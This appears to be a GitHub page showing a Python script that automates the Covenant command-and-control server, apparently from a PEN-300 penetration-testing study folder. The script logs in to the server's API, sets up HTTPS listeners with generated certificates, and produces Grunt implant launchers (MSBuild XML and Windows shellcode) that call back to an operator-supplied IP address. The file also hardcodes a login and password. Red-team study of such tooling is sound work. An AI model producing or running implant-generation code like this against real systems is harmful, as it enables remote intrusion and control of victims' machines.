-
Notifications
You must be signed in to change notification settings - Fork 8
Expand file tree
/
Copy pathCovenant.py
More file actions
226 lines (201 loc) · 7.24 KB
/
Covenant.py
File metadata and controls
226 lines (201 loc) · 7.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
import os
import sys
import pdb
import time
import uuid
import base64
import random
import hashlib
from pathlib import Path
from functools import wraps
import requests
from OpenSSL import crypto
requests.packages.urllib3.disable_warnings()
if sys.version_info.major == 2:
from urlparse import urlparse
else:
from urllib.parse import urlparse
import cert
TAG = os.path.basename(__file__)
def log(fn):
@wraps(fn)
def wrap(*args, **kwargs):
print('[+] %s: %s' % (TAG, fn.__name__))
return fn(*args, **kwargs)
return wrap
def Has(var):
if isinstance(var, str):
var = [var]
def innerD(fn):
@wraps(fn)
def wrap(*args, **kwargs):
for _ in var:
if globals().get(_) is None:
print('Please initialize "%s" first!' % _)
exit(0)
return fn(*args, **kwargs)
return wrap
return innerD
class BearerAuth(requests.auth.AuthBase):
@Has('token')
def __call__(self, r):
r.headers["authorization"] = "Bearer " + token
return r
endpoint = None
token = None
HOME = None
def init(url, home):
global endpoint, HOME
endpoint = url
HOME = Path(home)
@Has('endpoint')
def isLocal():
_ = urlparse(endpoint).netloc.split(':')[0]
if _ == '127.0.0.1':
return True
return False
@log
@Has('endpoint')
def login(uname, passd):
global token
r = requests.post(endpoint + '/api/users/login', json=dict(userName=uname, password=passd), verify=False).json()
assert r['success'], 'login failed'
token = r['covenantToken']
@log
@Has('token')
def listeners():
return requests.get(endpoint + '/api/listeners', auth=BearerAuth(), verify=False).json()
@log
@Has('token')
def launchers(Type=None):
result = requests.get(endpoint + '/api/launchers', auth=BearerAuth(), verify=False).json()
if Type is not None:
return list(filter(lambda x: x['type'].lower() == Type.lower(), result))
return result
@log
@Has('token')
def updateListener(info):
assert 'id' in info
r = requests.put(endpoint + '/api/listeners', json=info, auth=BearerAuth(), verify=False)
assert r.status_code == 200
@log
@Has('token')
def delListener(listenerId):
r = requests.delete(endpoint + '/api/listeners/%d' % listenerId, auth=BearerAuth(), verify=False)
assert r.status_code == 200, r.status_code
@log
@Has(['token', 'HOME'])
def addListener(name, addr, port, bindaddr, bindport, ssl=True):
info = dict(useSSL=ssl, profileId=2, listenerTypeId=1, status='active', bindAddress=bindaddr, bindPort=bindport,
connectPort=port, connectAddresses=[addr], urls=['http%s://%s:%d' % ('s' if ssl else '', addr, port)], name=name)
if ssl:
_, _cert = cert.createCert()
secret = str(uuid.uuid4())
info['sslCertificate'] = cert.createPkcs12(secret, k=_, cert=_cert)
info['sslCertificatePassword'] = secret
info['sslCertHash'] = hashlib.sha1(crypto.dump_certificate(crypto.FILETYPE_ASN1, _cert)).hexdigest()
res = requests.post(endpoint + '/api/listeners/http', json=info, auth=BearerAuth(), verify=False)
if res.status_code != 200:
print(res.status_code)
print(res.text)
exit(1)
r = res.json()
assert r['startTime'] is not None
print('Listener GUID: %s' % r['guid'])
return r['id']
@log
@Has('token')
def addLauncher(_type, listenerId, **info):
_info = {
"listenerId": listenerId,
"implantTemplateId": 1, # GruntHTTP (1 in master, 3 in dev)
"dotNetVersion": info.get('.net', "Net40"),
"runtimeIdentifier": info.get('runtime', "win_x64"),
"validateCert": False,
"useCertPinning": True,
"delay": 5,
"jitterPercent": 10,
"connectAttempts": 5,
"compressStager": True
}
r = requests.post(endpoint + '/api/launchers/' + _type, json=_info, \
auth=BearerAuth(), verify=False)
assert r.status_code == 200, r.text
_id = r.json()['id']
_info['id'] = _id
r = requests.put(endpoint + '/api/launchers/' + _type, json=_info, \
auth=BearerAuth(), verify=False)
assert r.status_code == 200, r.text
return _id
@log
@Has('token')
def delLauncher(_id):
assert requests.delete(endpoint + '/api/launchers/%d' % _id, auth=BearerAuth(), verify=False).status_code == 204
@Has(['endpoint', 'token'])
def listen(addr, port, bindaddr='0.0.0.0', bindport=443, name='O_O', ssl=False):
# temp setting
bindport = port
for l in listeners():
if l['bindAddress'] == bindaddr and l['bindPort'] == bindport:
if addr in l['connectAddresses'] and port == l['connectPort']:
#print('listener already exists, trying to update')
l['name'] = name
l['covenantToken'] = token
updateListener(l)
return l['id']
delListener(l['id'])
return addListener(name, addr, port, bindaddr, bindport, ssl=ssl)
@Has(['endpoint', 'token'])
def generateMsbuild(listenerId):
info = {
"listenerId": listenerId,
"implantTemplateId": 1, # GruntHTTP (1 in master, 3 in dev)
"dotNetVersion": 'Net40',
"runtimeIdentifier": "win_x64",
"validateCert": False,
"useCertPinning": True,
"delay": 5,
"jitterPercent": 10,
"connectAttempts": 5,
"compressStager": True
}
r = requests.put(endpoint + '/api/launchers/msbuild', json=info, auth=BearerAuth(), verify=False)
r = requests.post(endpoint + '/api/launchers/msbuild', json=r.json(), auth=BearerAuth(), verify=False)
return r.json()['diskCode']
@Has(['endpoint', 'token', 'HOME'])
def generateShellcode(listenerId, purge=False, platform='x64'):
if (HOME / 'Covenant/Data/Temp/GruntHTTP.exe').exists():
(HOME / 'Covenant/Data/Temp/GruntHTTP.exe').unlink()
if (HOME / 'Covenant/Data/Temp/GruntHTTP.bin').exists():
(HOME / 'Covenant/Data/Temp/GruntHTTP.bin').unlink()
if (HOME / 'Covenant/Data/Temp/GruntHTTP.bin.b64').exists():
(HOME / 'Covenant/Data/Temp/GruntHTTP.bin.b64').unlink()
# PUT -> POST -> file
info = {
"listenerId": listenerId,
"implantTemplateId": 1, # GruntHTTP (1 in master, 3 in dev)
"dotNetVersion": 'Net40',
"runtimeIdentifier": "win_"+platform,
"validateCert": False,
"useCertPinning": True,
"delay": 5,
"jitterPercent": 10,
"connectAttempts": 5,
"compressStager": True
}
r = requests.put(endpoint + '/api/launchers/shellcode', json=info, auth=BearerAuth(), verify=False)
r = requests.post(endpoint + '/api/launchers/shellcode', json=r.json(), auth=BearerAuth(), verify=False)
with (HOME / 'Covenant/Data/Temp/GruntHTTP.bin').open('rb') as f:
return f.read()
if __name__ == '__main__':
ip = sys.argv[1]
init('https://127.0.0.1:7443', '/Users/tree/Documents/chtsecurity/PEN300/scripts/Covenant/')
login('tree', 'treetree')
_id = listen(ip, 443, name='sumikko-%f' % random.random(), ssl=True)# crash when use https OTZ
print('listenerId: %d' % _id)
shellcode = generateShellcode(_id)
assert len(shellcode) > 0
print('Binary Location: %s/Covenant/Data/Temp/' % HOME)
#shellcode = generateMsbuild(_id)
#with open('GruntHTTP.xml', 'wb') as f:
# f.write(shellcode)